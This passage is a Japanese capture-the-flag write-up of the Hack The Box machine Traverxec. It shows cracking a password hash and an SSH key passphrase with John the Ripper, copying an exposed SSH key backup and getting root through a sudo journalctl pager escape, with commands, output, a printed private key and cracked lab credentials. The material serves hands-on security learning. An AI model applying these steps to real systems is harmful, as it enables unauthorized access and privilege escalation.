PHPS, PHPS2, pix-md5, PKZIP, po, pomelo, postgres, PST, PuTTY, pwsafe, qnx, RACF, RACF-KDFAES, radius, RAdmin, RAKP, rar, RAR5, Raw-SHA512, Raw-Blake2, Raw-Keccak, Raw-Keccak-256, Raw-MD4, Raw-MD5, Raw-MD5u, Raw-SHA1, Raw-SHA1-AxCrypt, Raw-SHA1-Linkedin, Raw-SHA224, Raw-SHA256, Raw-SHA256-ng, Raw-SHA3, Raw-SHA384, Raw-SHA512-ng, ripemd-128, ripemd-160, rsvp, Siemens-S7, Salted-SHA1, SSHA512, sapb, sapg, saph, sappse, securezip, 7z, Raw-SHA1-ng, Signal, SIP, skein-256, skein-512, skey, SL3, aix-smd5, Snefru-128, Snefru-256, LastPass, SNMP, solarwinds, SSH, sspr, Stribog-256, Stribog-512, STRIP, SunMD5, SybaseASE, Sybase-PROP, tacacs-plus, tcp-md5, telegram, tezos, Tiger, tc_aes_xts, tc_ripemd160, tc_ripemd160boot, tc_sha512, tc_whirlpool, vdi, OpenVMS, VNC, vtp, wbb3, whirlpool, whirlpool0, whirlpool1, wpapsk, wpapsk-pmk, xmpp-scram, xsha, xsha512, ZIP, ZipMonster, plaintext, has-160, HMAC-MD5, HMAC-SHA1, HMAC-SHA224, HMAC-SHA256, HMAC-SHA384, HMAC-SHA512, NT-old, dummy, crypt
解析してみる。
※ --format
を指定しなくてもjohn
で勝手に判定してくれた。
# john --format=md5crypt --wordlist=SecLists/Passwords/Leaked-Databases/rockyou.txt david.passwd
Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 256/256 AVX2 8x3]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status Nowonly4me (david) 1g 0:00:01:20 DONE (2020-03-02 20:45) 0.01243g/s 131537p/s 131537c/s 131537C/s Noyoo..Novac Use the "--show" option to display all of the cracked passwords reliably Session completed
Success: Nowonly4me
早速、sshでログインを試す。
# ssh david@10.10.10.165 The authenticity of host '10.10.10.165 (10.10.10.165)' can't be established. ECDSA key fingerprint is SHA256:CiO/pUMzd+6bHnEhA2rAU30QQiNdWOtkEPtJoXnWzVo. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '10.10.10.165' (ECDSA) to the list of known hosts. david@10.10.10.165's password: Permission denied, please try again.
悲しみ。 まさか前回みたいにログインが禁止されているユーザなの?
$ cat /etc/ssh/ssh_config # This is the ssh client system-wide configuration file. See # ssh_config(5) for more information. This file provides defaults for # users, and the values can be changed in per-user configuration files # or on the command line. # Configuration data is parsed as follows: # 1. command line options # 2. user-specific file # 3. system-wide file # Any configuration value is only changed the first time it is set. # Thus, host-specific definitions should be at the beginning of the # configuration file, and defaults at the end. # Site-wide defaults for some commonly used options. For a comprehensive # list of available options, their meanings and defaults, please see the # ssh_config(5) man page. Host * # ForwardAgent no # ForwardX11 no # ForwardX11Trusted yes # PasswordAuthentication yes # HostbasedAuthentication no # GSSAPIAuthentication no # GSSAPIDelegateCredentials no # GSSAPIKeyExchange no # GSSAPITrustDNS no # BatchMode no # CheckHostIP yes # AddressFamily any # ConnectTimeout 0 # StrictHostKeyChecking ask # IdentityFile ~/.ssh/id_rsa # IdentityFile ~/.ssh/id_dsa # IdentityFile ~/.ssh/id_ecdsa # IdentityFile ~/.ssh/id_ed25519 # Port 22 # Protocol 2 # Ciphers aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc # MACs hmac-md5,hmac-sha1,umac-64@openssh.com # EscapeChar ~ # Tunnel no # TunnelDevice any:any # PermitLocalCommand no # VisualHostKey no # ProxyCommand ssh -q -W %h:%p gateway.example.com # RekeyLimit 1G 1h SendEnv LANG LC_* HashKnownHosts yes GSSAPIAuthentication yes
そうではないらしい。
しばらく探索したものの成果0のため、原点に戻りそもそもnhttpd
とはどんな感じで設定項目とかあるんだろうと眺めることに。
ドキュメント: https://www.gsp.com/cgi-bin/man.cgi?section=8&topic=nhttpd
すると、
HOMEDIRS HTTPを介してユーザーのホームディレクトリを提供するには、ホームディレクトリが格納されているパス(通常は/ home)を定義してhomedirsオプションを有効にし ます。ユーザーのホームディレクトリにアクセスするには、URLに〜を入力し、この例のようにホームディレクトリ名を入力します。 http://www.nazgul.ch/~hacki/ ホームディレクトリのコンテンツは、ドキュメントルートのディレクトリとまったく同じ方法で処理されます。一部のユーザーがホームディレクトリにHTTP経由でアクセスすることを望まない場合、ユーザーはホームディレクトリの誰でも読み取り可能なフラグを削除し、発信者は403 Forbidden応答を受け取ります。また、基本認証が有効になっている場合、ユーザーは自分のホームディレクトリに.htaccessファイルを作成でき、呼び出し元は認証する必要があります。 homedirs_publicオプション を使用して定義することにより、ホームディレクトリ内のアクセスを単一のサブディレクトリに 制限できます。
なかなかに気になる内容を発見。
そいえば、david
のホームディレクトリにotherで x
のパーミッションがついてるの気になってたんだよな。
# HOMEDIRS [OPTIONAL] homedirs /home homedirs_public public_www
設定ファイルに記載されていた内容は/~david/public_www
の形式でアクセスできるのか?
画面からアクセスしてみる。
/~david/
/~david/public_www/
404 Not Found nostromo 1.9.6 at 10.10.10.165 Port 80
可能性は感じつつ、有益な情報は得られない。直接ディレクトリにアクセスしてみる。
cd /home/david/public_www pwd /home/david/public_www
移動できた。
read権限はあるのだろうか?
ls -al total 16 drwxr-xr-x 3 david david 4096 Oct 25 15:45 . drwx--x--x 6 david david 4096 Mar 3 01:28 .. -rw-r--r-- 1 david david 402 Oct 25 15:45 index.html drwxr-xr-x 2 david david 4096 Oct 25 17:02 protected-file-area
気になるディレクトリは一個しかないのでアクセスしてみる。
cd protected-file-area ls -al total 16 drwxr-xr-x 2 david david 4096 Oct 25 17:02 . drwxr-xr-x 3 david david 4096 Oct 25 15:45 .. -rw-r--r-- 1 david david 45 Oct 25 15:46 .htaccess -rw-r--r-- 1 david david 1915 Oct 25 17:02 backup-ssh-identity-files.tgz
秘密鍵を/tmp
にコピーして展開する。
cp backup-ssh-identity-files.tgz /tmp tar -zxvf backup-ssh-identity-files.tgz home/david/.ssh/ home/david/.ssh/authorized_keys home/david/.ssh/id_rsa home/david/.ssh/id_rsa.pub
秘密鍵をみてみる。
cat home/david/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,477EEFFBA56F9D283D349033D5D08C4F seyeH/feG19TlUaMdvHZK/2qfy8pwwdr9sg75x4hPpJJ8YauhWorCN4LPJV+wfCG tuiBPfZy+ZPklLkOneIggoruLkVGW4k4651pwekZnjsT8IMM3jndLNSRkjxCTX3W KzW9VFPujSQZnHM9Jho6J8O8LTzl+s6GjPpFxjo2Ar2nPwjofdQejPBeO7kXwDFU RJUpcsAtpHAbXaJI9LFyX8IhQ8frTOOLuBMmuSEwhz9KVjw2kiLBLyKS+sUT9/V7 HHVHW47Y/EVFgrEXKu0OP8rFtYULQ+7k7nfb7fHIgKJ/6QYZe69r0AXEOtv44zIc Y1OMGryQp5CVztcCHLyS/9GsRB0d0TtlqY2LXk+1nuYPyyZJhyngE7bP9jsp+hec dTRqVqTnP7zI8GyKTV+KNgA0m7UWQNS+JgqvSQ9YDjZIwFlA8jxJP9HsuWWXT0ZN 6pmYZc/rNkCEl2l/oJbaJB3jP/1GWzo/q5JXA6jjyrd9xZDN5bX2E2gzdcCPd5qO xwzna6js2kMdCxIRNVErnvSGBIBS0s/OnXpHnJTjMrkqgrPWCeLAf0xEPTgktqi1 Q2IMJqhW9LkUs48s+z72eAhl8naEfgn+fbQm5MMZ/x6BCuxSNWAFqnuj4RALjdn6 i27gesRkxxnSMZ5DmQXMrrIBuuLJ6gHgjruaCpdh5HuEHEfUFqnbJobJA3Nev54T fzeAtR8rVJHlCuo5jmu6hitqGsjyHFJ/hSFYtbO5CmZR0hMWl1zVQ3CbNhjeIwFA bzgSzzJdKYbGD9tyfK3z3RckVhgVDgEMFRB5HqC+yHDyRb+U5ka3LclgT1rO+2so uDi6fXyvABX+e4E4lwJZoBtHk/NqMvDTeb9tdNOkVbTdFc2kWtz98VF9yoN82u8I Ak/KOnp7lzHnR07dvdD61RzHkm37rvTYrUexaHJ458dHT36rfUxafe81v6l6RM8s 9CBrEp+LKAA2JrK5P20BrqFuPfWXvFtROLYepG9eHNFeN4uMsuT/55lbfn5S41/U rGw0txYInVmeLR0RJO37b3/haSIrycak8LZzFSPUNuwqFcbxR8QJFqqLxhaMztua 4mOqrAeGFPP8DSgY3TCloRM0Hi/MzHPUIctxHV2RbYO/6TDHfz+Z26ntXPzuAgRU /8Gzgw56EyHDaTgNtqYadXruYJ1iNDyArEAu+KvVZhYlYjhSLFfo2yRdOuGBm9AX JPNeaxw0DX8UwGbAQyU0k49ePBFeEgQh9NEcYegCoHluaqpafxYx2c5MpY1nRg8+ XBzbLF9pcMxZiAWrs4bWUqAodXfEU6FZv7dsatTa9lwH04aj/5qxEbJuwuAuW5Lh hORAZvbHuIxCzneqqRjS4tNRm0kF9uI5WkfK1eLMO3gXtVffO6vDD3mcTNL1pQuf SP0GqvQ1diBixPMx+YkiimRggUwcGnd3lRBBQ2MNwWt59Rri3Z4Ai0pfb1K7TvOM j1aQ4bQmVX8uBoqbPvW0/oQjkbCvfR4Xv6Q+cba/FnGNZxhHR8jcH80VaNS469tt VeYniFU/TGnRKDYLQH2x0ni1tBf0wKOLERY0CbGDcquzRoWjAmTN/PV2VbEKKD/w -----END RSA PRIVATE KEY-----
補足:その後以下のURLにアクセスしたら閲覧出来た。
/~david/protected-file-area
david
今度こそログインできるだろう。
root@kali-linux:~/sandbox# ssh -i david.id_rsa david@10.10.10.165 Enter passphrase for key 'david.id_rsa':
パスフレーズが必要なので、解析する。
# john --wordlist=./SecLists/Passwords/Leaked-Databases/rockyou.txt david.id_rsa.hash Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes Cost 2 (iteration count) is 1 for all loaded hashes Will run 2 OpenMP threads Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Press 'q' or Ctrl-C to abort, almost any other key for status hunter (david.id_rsa) Warning: Only 1 candidates left, minimum 2 needed for performance. 1g 0:00:00:07 DONE (2020-03-03 15:45) 0.1398g/s 2005Kp/s 2005Kc/s 2005KC/s *7¡Vamos! Session completed
david
での侵入成功
# ssh -i david.id_rsa david@10.10.10.165 Enter passphrase for key 'david.id_rsa': Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64 Last login: Tue Mar 3 01:30:08 2020 from 10.10.14.214 david@traverxec:~$ ls -al total 36 drwx--x--x 5 david david 4096 Oct 25 17:02 . drwxr-xr-x 3 root root 4096 Oct 25 14:32 .. lrwxrwxrwx 1 root root 9 Oct 25 16:15 .bash_history -> /dev/null -rw-r--r-- 1 david david 220 Oct 25 14:32 .bash_logout -rw-r--r-- 1 david david 3526 Oct 25 14:32 .bashrc drwx------ 2 david david 4096 Oct 25 16:26 bin -rw-r--r-- 1 david david 807 Oct 25 14:32 .profile drwxr-xr-x 3 david david 4096 Oct 25 15:45 public_www drwx------ 2 david david 4096 Oct 25 17:02 .ssh -r--r----- 1 root david 33 Oct 25 16:14 user.txt
フラグを確認する。
david@traverxec:~$ cat user.txt 7db0b48469606a42cec207xxxxxxxxxx
sudo権限確認
$ sudo -l [sudo] password for david:
id確認
$ id uid=1000(david) gid=1000(david) groups=1000(david),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
ホームディレクトリでbin
と言うあからさまなディレクトリがあるので覗く。
$ cd bin david@traverxec:~/bin$ ls -al total 16 drwx------ 2 david david 4096 Oct 25 16:26 . drwx--x--x 5 david david 4096 Oct 25 17:02 .. -r-------- 1 david david 802 Oct 25 16:26 server-stats.head -rwx------ 1 david david 363 Oct 25 16:26 server-stats.sh
binに入ってるシェルを実行してみる
$ cat server-stats.sh #!/bin/bash cat /home/david/bin/server-stats.head echo "Load: `/usr/bin/uptime`" echo " " echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`" echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`" echo " " echo "Last 5 journal log lines:" /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat
$ sh server-stats.sh .----. .---------. | == | Webserver Statistics and Data |.-"""""-.| |----| Collection Script || || | == | (c) David, 2019 || || |----| |'-.....-'| |::::| '"")---(""' |___.| /:::::::::::\" " /:::=======:::\ jgs '"""""""""""""' Load: 17:45:50 up 1:05, 3 users, load average: 0.00, 0.00, 0.00 Open nhttpd sockets: 8 Files in the docroot: 117 Last 5 journal log lines: -- Logs begin at Tue 2020-03-03 16:40:23 EST, end at Tue 2020-03-03 17:45:50 EST. -- Mar 03 17:26:23 traverxec sudo[9752]: www-data : command not allowed ; TTY=pts/0 ; PWD=/tmp ; USER=root ; COMMAND=list Mar 03 17:44:43 traverxec su[16168]: pam_unix(su:auth): authentication failure; logname= uid=33 euid=0 tty=pts/4 ruser=www-data rhost= user=root Mar 03 17:44:45 traverxec su[16168]: FAILED SU (to root) www-data on pts/4 Mar 03 17:45:01 traverxec su[16182]: pam_unix(su:auth): authentication failure; logname= uid=33 euid=0 tty=pts/4 ruser=www-data rhost= user=david Mar 03 17:45:02 traverxec su[16182]: FAILED SU (to david) www-data on pts/4
journalctl
について色々調べてみる。
sudo
でroot権限での実行もできるので、脆弱性か特権昇格系何かあるか調べる。
検索ワードはsudo journalctl exploit
検索の上位に面白いサイトを見つけた。
GTFOBinsは、攻撃者が悪用してローカルのセキュリティ制限を回避できるUnixバイナリの厳選されたリストです https://gtfobins.github.io/
journalctl
コマンドを見てみると、sh
を使う方法が紹介されていた。
journalctl !/bin/sh
早速使ってみる
$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service -- Logs begin at Wed 2020-03-04 19:16:28 EST, end at Wed 2020-03-04 19:16:58 EST. -- Mar 04 19:16:33 traverxec systemd[1]: Starting nostromo nhttpd server... Mar 04 19:16:33 traverxec systemd[1]: nostromo.service: Can't open PID file /var/nostromo/logs/nhttpd.pid (yet?) after start: No such Mar 04 19:16:33 traverxec nhttpd[459]: started Mar 04 19:16:33 traverxec nhttpd[459]: max. file descriptors = 1040 (cur) / 1040 (max) Mar 04 19:16:34 traverxec systemd[1]: Started nostromo nhttpd server. !/bin/ # id uid=0(root) gid=0(root) groups=0(root)
フラグを確認する。
# cat /root/root.txt 9aa36a6d76f785dfd320a4xxxxxxxxxx
ついでにsudoの設定ファイルもみてみる。
# cat /etc/sudoers ... # Allow david to tail last 5 lines of nhttpd logs for the server stats script. # Should be safe. david ALL=(ALL:ALL) NOPASSWD:/usr/bin/journalctl -n5 -unostromo.service
終わり
感想
全体的に対象のソフトウェアを理解していないと突破できないなと感じた。他のと比べると簡単だった気もするが、そこが難しい。
今回ローカルからの特権昇格についての知識は皆無だったので、gtfobins
の存在を知れたのは大きな成果だった。
探索している最中に他のユーザが使っていたのであろうシェルを見つけた。
https://github.com/rebootuser/LinEnum
権限周りなど、一通り調べるように自動化したものらしい。これもいい収穫だった。